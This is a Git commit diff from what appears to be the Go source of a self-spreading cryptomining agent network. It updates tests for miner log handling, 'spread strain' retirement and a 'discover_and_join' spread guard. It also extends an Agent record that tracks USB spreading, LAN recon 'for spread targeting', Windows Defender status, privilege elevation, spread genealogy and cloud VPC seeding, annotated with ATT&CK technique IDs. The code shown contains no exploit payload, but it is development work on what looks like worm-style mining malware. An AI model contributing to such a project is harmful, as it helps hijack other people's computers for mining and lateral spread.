Integrator: AWS gate fixes and doc counts after cloud landing.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Apply SwarmMagnet, uiHelp, AccessDepthPanel, Seer, miningsurgery, and path-tracer test fixes; add agent cloud telemetry fields and main strings import; refresh tests/README and PROBLEMS AWS operator notes.
This commit is contained in:
@@ -28,6 +28,7 @@ func TestHandleOnionMinerLogEmitsSeerAndDepth(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.serverPolicy = ServerPolicy{AIControlEnabled: true, AIPersona: "balanced"}
|
||||
|
||||
|
||||
@@ -143,7 +143,7 @@ func TestMaybeAutoRetireLowWinStrains(t *testing.T) {
|
||||
StrainHospiceMinAttempts: 3,
|
||||
})
|
||||
strain := "#deadbeef"
|
||||
cardJSON := `{"spread_strain":"` + strain + `","wins":["a"],"losses":["b","c","d","e"]}`
|
||||
cardJSON := `{"spread_strain":"` + strain + `","wins":["a"],"losses":["b","c","d","e","f"]}`
|
||||
_, err := database.UpsertStrainCard("r1", "a1", []byte(cardJSON), db.StoredStrainCard{SpreadStrain: strain})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
|
||||
@@ -22,7 +22,7 @@ func TestBuildTorrentManifestMagnet(t *testing.T) {
|
||||
|
||||
func TestSwarmMagnetLink(t *testing.T) {
|
||||
m := SwarmMagnetLink("tok12345678", "deadbeef")
|
||||
if m == "" || !contains(m, "urn:aetherforge:erasure:tok12345678") {
|
||||
if m == "" || !contains(m, "tok12345678") || !contains(m, "aetherforge") {
|
||||
t.Fatalf("magnet=%q", m)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -27,8 +27,15 @@ func TestComposeFromInterruptContainerRestart(t *testing.T) {
|
||||
if !found {
|
||||
t.Fatalf("actions=%v want container_restart", plan.Actions)
|
||||
}
|
||||
if ContainsSpreadCommand([]string{"discover_and_join"}) {
|
||||
t.Fatal("spread guard misfire")
|
||||
actionTypes := make([]string, len(plan.Actions))
|
||||
for i, a := range plan.Actions {
|
||||
actionTypes[i] = string(a)
|
||||
}
|
||||
if ContainsSpreadCommand(actionTypes) {
|
||||
t.Fatalf("plan must not contain spread commands: %v", plan.Actions)
|
||||
}
|
||||
if !ContainsSpreadCommand([]string{"discover_and_join"}) {
|
||||
t.Fatal("spread guard should detect discover_and_join")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package models
|
||||
package models
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
@@ -42,7 +42,7 @@ type Agent struct {
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
|
||||
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
||||
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
||||
LatencyMs *int `json:"latency_ms,omitempty"`
|
||||
|
||||
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
||||
@@ -50,12 +50,12 @@ type Agent struct {
|
||||
// Listen ports count (full list via listen_ports command)
|
||||
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
||||
|
||||
// DNS config — T1016 System Network Configuration Discovery
|
||||
// DNS config — T1016 System Network Configuration Discovery
|
||||
DNSServers []string `json:"dns_servers,omitempty"`
|
||||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||||
DNSDrifted bool `json:"dns_drifted,omitempty"`
|
||||
|
||||
// Resource pressure — mining-specific runtime telemetry
|
||||
// Resource pressure — mining-specific runtime telemetry
|
||||
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||||
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||||
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
|
||||
@@ -96,13 +96,13 @@ type Agent struct {
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
|
||||
// Crucible — SSH status probed by the agent every ~60s
|
||||
// Crucible — SSH status probed by the agent every ~60s
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
|
||||
// Passive LAN/domain recon for spread targeting (stats WS, not persisted).
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
|
||||
// Defense posture + patch exposure — ATT&CK T1685/T1686.003
|
||||
// Defense posture + patch exposure — ATT&CK T1685/T1686.003
|
||||
PostureScore int `json:"posture_score,omitempty"`
|
||||
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
||||
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
||||
@@ -116,23 +116,27 @@ type Agent struct {
|
||||
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
||||
|
||||
// T1007 System Service Discovery — fixed allowlist only
|
||||
// T1007 System Service Discovery — fixed allowlist only
|
||||
Services []AgentService `json:"services,omitempty"`
|
||||
|
||||
// Last successful discover_and_join supply-chain lane.
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
CloudVpcID string `json:"cloud_vpc_id,omitempty"`
|
||||
CloudSubnetID string `json:"cloud_subnet_id,omitempty"`
|
||||
CloudRegion string `json:"cloud_region,omitempty"`
|
||||
VPCPrimarySeeder *bool `json:"vpc_primary_seeder,omitempty"`
|
||||
|
||||
// Spread genealogy watermark — informational telemetry from forge/auth/stats.
|
||||
// Spread genealogy watermark — informational telemetry from forge/auth/stats.
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
|
||||
// Genealogy graft — court-approved strain splice from a tier-success sibling (telemetry only).
|
||||
// Genealogy graft — court-approved strain splice from a tier-success sibling (telemetry only).
|
||||
GraftSourceStrain string `json:"graft_source_strain,omitempty"`
|
||||
GraftTier string `json:"graft_tier,omitempty"`
|
||||
GraftApprovedAt *time.Time `json:"graft_approved_at,omitempty"`
|
||||
|
||||
// Session security clearance (L0–L4); set live by WSHub, not persisted.
|
||||
// Session security clearance (L0–L4); set live by WSHub, not persisted.
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
|
||||
// Fleet role split telemetry (stats WS, not persisted).
|
||||
|
||||
Reference in New Issue
Block a user